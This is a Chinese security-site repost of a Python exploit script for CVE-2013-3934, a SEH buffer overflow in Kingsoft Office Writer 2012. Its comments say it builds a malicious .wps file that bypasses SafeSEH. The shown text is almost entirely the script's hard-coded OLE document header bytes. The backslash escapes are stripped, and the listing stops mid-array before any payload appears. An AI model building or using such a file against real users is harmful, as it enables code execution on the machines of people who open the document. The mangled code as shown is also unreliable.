zoukankan      html  css  js  c++  java

  • wps 2012-2013 通杀漏洞（CVE-2013-3934）

    测试方法:

    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
      1. #!/usr/bin/python
      3. # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH)
      4. # Version: 2012 8.1.0.3385
      5. # Date: 2013-11-27
      6. # Author: Julien Ahrens (@MrTuxracer)
      7. # Homepage: http://www.rcesecurity.com
      8. # Software Link: http://www.kingsoftstore.com
      9. # Tested on: WinXP-GER, Win7-GER, Win8-EN
      10. #
      11. # Credits for vulnerability discovery:
      12. # Kaveh Ghaemmaghami (http://www.securityfocus.com/bid/61796)
      13. #
      14. # Howto / Notes:
      15. # This scripts creates a .wps file which exploits the vulnerability described in
      16. # CVE-2013-3934 and bypasses SafeSEH protection
      17. fromstructimport pack
      18. file="exploit.wps"
      19. head=("xD0xCFx11xE0xA1xB1x1AxE1x00x00x00x00x00x00x00x00"+
      20. "x00x00x00x00x00x00x00x00x3Ex00x03x00xFExFFx09x00"+
      21. "x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"+
      22. "x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"+
      23. "x01x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
      24. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      25. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      26. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      27. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      28. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      29. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      30. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      31. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      32. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      33. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      34. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      35. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      36. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      37. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      38. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      39. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      40. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      41. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      42. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      43. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      44. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      45. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      46. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      47. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      48. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      49. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      50. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      51. "xFDxFFxFFxFFx05x00x00x00xFExFFxFFxFFx04x00x00x00"+
      52. "x06x00x00x00xFExFFxFFxFFx07x00x00x00x08x00x00x00"+
      53. "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
      54. "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00x10x00x00x00"+
      55. "x11x00x00x00x12x00x00x00x13x00x00x00xFExFFxFFxFF"+
      56. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      57. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      58. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      59. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      60. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      61. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      62. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      63. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      64. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      65. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      66. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      67. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      68. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      69. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      70. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      71. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      72. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      73. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      74. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      75. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      76. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      77. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      78. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      79. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      80. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      81. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      82. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      83. "x52x00x6Fx00x6Fx00x74x00x20x00x45x00x6Ex00x74x00"+
      84. "x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      85. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      86. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      87. "x16x00x05x00xFFxFFxFFxFFxFFxFFxFFxFFx01x00x00x00"+
      88. "x06x09x02x00x00x00x30x4BxA9x77xD2x14x85x20x36xFE"+
      89. "x00x00x00x00x00x00x00x00x00x00x00x00x60x53x8Ex7F"+
      90. "x5CxE9xCEx01x03x00x00x00x40x1Ex00x00x00x00x00x00"+
      91. "x05x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
      92. "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
      93. "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
      94. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      95. "x28x00x02x01x04x00x00x00x02x00x00x00xFFxFFxFFxFF"+
      96. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      97. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      98. "x00x00x00x00x00x00x00x00x00x02x00x00x00x00x00x00"+
      99. "x05x00x44x00x6Fx00x63x00x75x00x6Dx00x65x00x6Ex00"+
      100. "x74x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
      101. "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
      102. "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
      103. "x38x00x02x01xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      104. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      105. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      106. "x00x00x00x00x08x00x00x00xF0x01x00x00x00x00x00x00"+
      107. "x57x00x6Fx00x72x00x64x00x44x00x6Fx00x63x00x75x00"+
      108. "x6Dx00x65x00x6Ex00x74x00x00x00x00x00x00x00x00x00"+
      109. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      110. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      111. "x1Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      112. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      113. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      114. "x00x00x00x00x10x00x00x00x2Fx0Ex00x00x00x00x00x00"+
      115. "x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"+
      116. "x05x00x00x00x06x00x00x00x07x00x00x00xFExFFxFFxFF"+
      117. "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
      118. "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00xFExFFxFFxFF"+
      119. "x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"+
      120. "x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"+
      121. "x19x00x00x00x1Ax00x00x00x1Bx00x00x00x1Cx00x00x00"+
      122. "x1Dx00x00x00x1Ex00x00x00x1Fx00x00x00x20x00x00x00"+
      123. "x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"+
      124. "x25x00x00x00x26x00x00x00x27x00x00x00x28x00x00x00"+
      125. "x29x00x00x00x2Ax00x00x00x2Bx00x00x00x2Cx00x00x00"+
      126. "x2Dx00x00x00x2Ex00x00x00x2Fx00x00x00x30x00x00x00"+
      127. "x31x00x00x00x32x00x00x00x33x00x00x00x34x00x00x00"+
      128. "x35x00x00x00x36x00x00x00x37x00x00x00x38x00x00x00"+
      129. "x39x00x00x00x3Ax00x00x00x3Bx00x00x00x3Cx00x00x00"+
      130. "x3Dx00x00x00x3Ex00x00x00x3Fx00x00x00x40x00x00x00"+
      131. "x41x00x00x00x42x00x00x00x43x00x00x00x44x00x00x00"+
      132. "x45x00x00x00x46x00x00x00x47x00x00x00x48x00x00x00"+
      133. "xFExFFxFFxFFx4Ax00x00x00x4Bx00x00x00x4Cx00x00x00"+
      134. "x4Dx00x00x00x4Ex00x00x00x4Fx00x00x00x50x00x00x00"+
      135. "x51x00x00x00x52x00x00x00x53x00x00x00x54x00x00x00"+
      136. "x55x00x00x00x56x00x00x00x57x00x00x00x58x00x00x00"+
      137. "x59x00x00x00x5Ax00x00x00x5Bx00x00x00x5Cx00x00x00"+
      138. "x5Dx00x00x00x5Ex00x00x00x5Fx00x00x00x60x00x00x00"+
      139. "x61x00x00x00x62x00x00x00x63x00x00x00x64x00x00x00"+
      140. "x65x00x00x00x66x00x00x00x67x00x00x00x68x00x00x00"+
      141. "x69x00x00x00x6Ax00x00x00x6Bx00x00x00x6Cx00x00x00"+
      142. "x6Dx00x00x00x6Ex00x00x00x6Fx00x00x00x70x00x00x00"+
      143. "x71x00x00x00x72x00x00x00x73x00x00x00x74x00x00x00"+
      144. "x75x00x00x00x76x00x00x00x77x00x00x00x78x00x00x00"+
      145. "xFExFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      146. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      147. "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
      148. "x00x00x00x00x00x00x00x00x01x00x00x00xE0x85x9FxF2"+
      149. "xF9x4Fx68x10xABx91x08x00x2Bx27xB3xD9x30x00x00x00"+
      150. "xD0x01x00x00x12x00x00x00x01x00x00x00xA0x00x00x00"+
      151. "x00x00x00x80xA8x00x00x00x02x00x00x00xB0x00x00x00"+
      152. "x03x00x00x00xC4x00x00x00x04x00x00x00xD0x00x00x00"+
      153. "x05x00x00x00xF4x00x00x00x06x00x00x00x00x01x00x00"+
      154. "x07x00x00x00x0Cx01x00x00x08x00x00x00x2Cx01x00x00"+
      155. "x09x00x00x00x4Cx01x00x00x0Cx00x00x00x58x01x00x00"+
      156. "x0Dx00x00x00x64x01x00x00x0Bx00x00x00x70x01x00x00"+
      157. "x0Ex00x00x00x7Cx01x00x00x0Fx00x00x00x84x01x00x00"+
      158. "x10x00x00x00x8Cx01x00x00x12x00x00x00x94x01x00x00"+
      159. "x13x00x00x00xC8x01x00x00x00x00x00x00x00x00x00x00"+
      160. "x02x00x00x00xB0x04x00x00x13x00x00x00x07x04x00x00"+
      161. "x1Fx00x00x00x05x00x00x00x74x00x65x00x73x00x74x00"+
      162. "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      163. "x1Fx00x00x00x0Ex00x00x00x41x00x64x00x6Dx00x69x00"+
      164. "x6Ex00x69x00x73x00x74x00x72x00x61x00x74x00x6Fx00"+
      165. "x72x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      166. "x1Fx00x00x00x01x00x00x00x00x00x00x00x1Fx00x00x00"+
      167. "x0Bx00x00x00x4Ex00x6Fx00x72x00x6Dx00x61x00x6Cx00"+
      168. "x2Ex00x77x00x70x00x74x00x00x00x00x00x1Fx00x00x00"+
      169. "x0Bx00x00x00x7Ax00x68x00x61x00x6Ex00x67x00x71x00"+
      170. "x69x00x61x00x6Ex00x67x00x00x00x00x00x1Fx00x00x00"+
      171. "x02x00x00x00x33x00x00x00x40x00x00x00x00x0Ax6Ex92"+
      172. "x1DxEDxCAx01x40x00x00x00x00x50x29x7Fx5CxE9xCEx01"+
      173. "x40x00x00x00x00xC0x0CxA9xA9x35x4Fx01x03x00x00x00"+
      174. "x01x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      175. "x00x00x00x00x1Fx00x00x00x16x00x00x00x4Dx00x69x00"+
      176. "x63x00x72x00x6Fx00x73x00x6Fx00x66x00x74x00x20x00"+
      177. "x4Fx00x66x00x66x00x69x00x63x00x65x00x20x00x57x00"+
      178. "x6Fx00x72x00x64x00x00x00x03x00x00x00x00x00x00x00"+
      179. "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
      180. "x00x00x00x00x00x00x00x00x02x00x00x00x02xD5xCDxD5"+
      181. "x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAEx44x00x00x00"+
      182. "x05xD5xCDxD5x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAE"+
      183. "x5Cx01x00x00x18x01x00x00x10x00x00x00x01x00x00x00"+
      184. "x88x00x00x00x00x00x00x80x90x00x00x00x0Fx00x00x00"+
      185. "x98x00x00x00x02x00x00x00xA4x00x00x00x0Ex00x00x00"+
      186. "xB0x00x00x00x06x00x00x00xBCx00x00x00x05x00x00x00"+
      187. "xC4x00x00x00x11x00x00x00xCCx00x00x00x03x00x00x00"+
      188. "xD4x00x00x00x04x00x00x00xE0x00x00x00x07x00x00x00"+
      189. "xE8x00x00x00x08x00x00x00xF0x00x00x00x09x00x00x00"+
      190. "xF8x00x00x00x0Ax00x00x00x00x01x00x00x0Bx00x00x00"+
      191. "x08x01x00x00x10x00x00x00x10x01x00x00x02x00x00x00"+
      192. "xB0x04x00x00x13x00x00x00x07x04x00x00x1Fx00x00x00"+
      193. "x01x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
      194. "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      195. "x03x00x00x00x01x00x00x00x03x00x00x00x01x00x00x00"+
      196. "x03x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
      197. "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      198. "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      199. "x00x00x00x00x03x00x00x00x00x00x00x00x0Bx00x00x00"+
      200. "x00x00x00x00x0Bx00x00x00x00x00x00x00x94x00x00x00"+
      201. "x04x00x00x00x00x00x00x00x28x00x00x00x01x00x00x00"+
      202. "x5Cx00x00x00x00x00x00x80x64x00x00x00x02x00x00x00"+
      203. "x6Cx00x00x00x01x00x00x00x02x00x00x00x13x00x00x00"+
      204. "x4Bx00x53x00x4Fx00x50x00x72x00x6Fx00x64x00x75x00"+
      205. "x63x00x74x00x42x00x75x00x69x00x6Cx00x64x00x56x00"+
      206. "x65x00x72x00x00x00x00x00x02x00x00x00xB0x04x00x00"+
      207. "x13x00x00x00x07x04x00x00x1Fx00x00x00x10x00x00x00"+
      208. "x31x00x30x00x33x00x33x00x2Dx00x38x00x2Ex00x31x00"+
      209. "x2Ex00x30x00x2Ex00x33x00x33x00x38x00x35x00x00x00"+
      210. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      211. "x30x00x54x00x61x00x62x00x6Cx00x65x00x00x00x00x00"+
      212. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      213. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      214. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      215. "x0Ex00x02x01x05x00x00x00x03x00x00x00xFFxFFxFFxFF"+
      216. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      217. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      218. "x00x00x00x00x49x00x00x00xEAx0Bx00x00x00x00x00x00"+
      219. "x44x00x61x00x74x00x61x00x00x00x00x00x00x00x00x00"+
      220. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      221. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      222. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      223. "x0Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      224. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      225. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      226. "x00x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
      227. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      228. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      229. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      230. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      231. "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      232. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      233. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      234. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      235. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      236. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      237. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      238. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      239. "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      240. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      241. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      242. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      243. "xECxA5xC1x00x89x88x09x04x00x00x14x50xBFx00x00x00"+
      244. "x00x00x00x10x00x00x00x00x00x08x00x00x0Ax08x00x00"+
      245. "x0Ex00x4Bx53x4Bx53xC3x00x08x00x00x00x00x00x00x00"+
      246. "x00x00x00x00x00x00x00x00x00x00x00x00x04x08x16x00"+
      247. "x2Fx0Ex00x00x00x00x00x00x00x00x00x00x05x00x00x00"+
      248. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      249. "x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx0Fx00"+
      250. "x00x00x00x00x00x00x00x00xFFxFFx0Fx00x00x00x00x00"+
      251. "x00x00x00x00xFFxFFx0Fx00x00x00x00x00x00x00x00x00"+
      252. "x00x00x00x00x00x00x00x00xA4x00x00x00x00x00xD2x04"+
      253. "x00x00x00x00x00x00xD2x04x00x00x00x00x00x00x00x00"+
      254. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      255. "x00x00x00x00x00x00x00x00x00x00x1Dx0Bx00x00x14x00"+
      256. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      257. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      258. "x00x00x00x00x00x00x00x00x00x00xD2x04x00x00x0Cx00"+
      259. "x00x00xDEx04x00x00x0Cx00x00x00x00x00x00x00x00x00"+
      260. "x00x00xFFx04x00x00x1Ex03x00x00x00x00x00x00x00x00"+
      261. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      262. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      263. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      264. "x00x00x00x00x00x00x00x00x00x00xE8x0Bx00x00x02x00"+
      265. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      266. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      267. "x00x00x00x00x00x00x00x00x00x00xF9x0Ax00x00x24x00"+
      268. "x00x00x91x08x00x00x68x02x00x00x1Dx08x00x00x74x00"+
      269. "x00x00xEAx04x00x00x15x00x00x00x00x00x00x00x00x00"+
      270. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      271. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      272. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      273. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      274. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      275. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      276. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      277. "x00x00x00x00x00x00x00x00x00x00x31x0Bx00x00xB7x00"+
      278. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      279. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      280. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      281. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      282. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      283. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      284. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      285. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      286. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      287. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      288. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      289. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      290. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      291. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      292. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      293. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      294. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      295. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      296. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      297. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      298. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      299. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      300. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      301. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      302. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      303. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      304. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      305. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      306. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      307. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      308. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      309. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      310. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      311. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      312. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      313. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      314. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      315. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      316. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      317. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      318. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      319. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      320. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      321. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      322. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      323. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      324. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      325. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      326. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      327. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      328. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      329. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      330. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      331. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      332. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      333. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      334. "x00x00x00x00x00x00x00x00x00x00x02x00x0Cx01x00x00"+
      335. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      336. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      337. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      338. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      339. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      340. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      341. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      342. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      343. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      344. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      345. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      346. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      347. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      348. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      349. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      350. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      351. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      352. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      353. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
